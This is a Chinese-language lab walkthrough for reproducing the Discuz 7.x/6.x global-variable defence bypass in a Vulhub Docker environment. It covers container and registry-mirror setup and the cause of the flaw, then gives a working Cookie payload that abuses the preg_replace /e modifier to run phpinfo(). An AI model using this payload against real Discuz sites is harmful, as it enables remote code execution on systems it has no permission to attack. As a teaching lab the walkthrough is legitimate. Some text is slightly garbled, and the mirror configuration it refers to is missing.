全局变量防御绕过漏洞演示
目录
全局变量防御绕过漏洞演示
漏洞环境搭建Vulhub
一款基于docker和docker-compose的漏洞环境部署平台。
vulhub官网地址:https://vulhub.org
Docker简介:
是一个开源的应用容器引擎,基于Go语言并遵从Apache2.0协议开源。
可以让开发者打包到他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化。
容器是完全使用的沙箱机制,容器性能开销低
搭建步骤:
在Vulhub的漏洞环境中找到 Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于在拉取镜像的时候速度过慢 我们可以利用Doker加速器进行加速
使用 registry-mirror配置Docker守护进程加速。(适用系统 Ubuntu16.04+、Debian8+、CentOS7。)
在 /etc/docker/daemon.json 中写入如下内容
注:网易加速器:https://hub-mirror.c.163.com/
阿里云加速器:https://.mirror.aliyuncs.com
小提示:重启服务命令出现报错的话 可以一试。
# sudo systemctl daemon-reload
# sudo systemctl restart docker
又是一个小提示:确保网络通畅哦~
点选同意下一步
建立成功界面进入
接下来
让我们漏洞复现一下子:
漏洞原理:由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致REQUEST中不再包含_REQUEST中不再包含REQUEST中不再包含_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
然后打开BP抓包:
在Cookei字段添加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();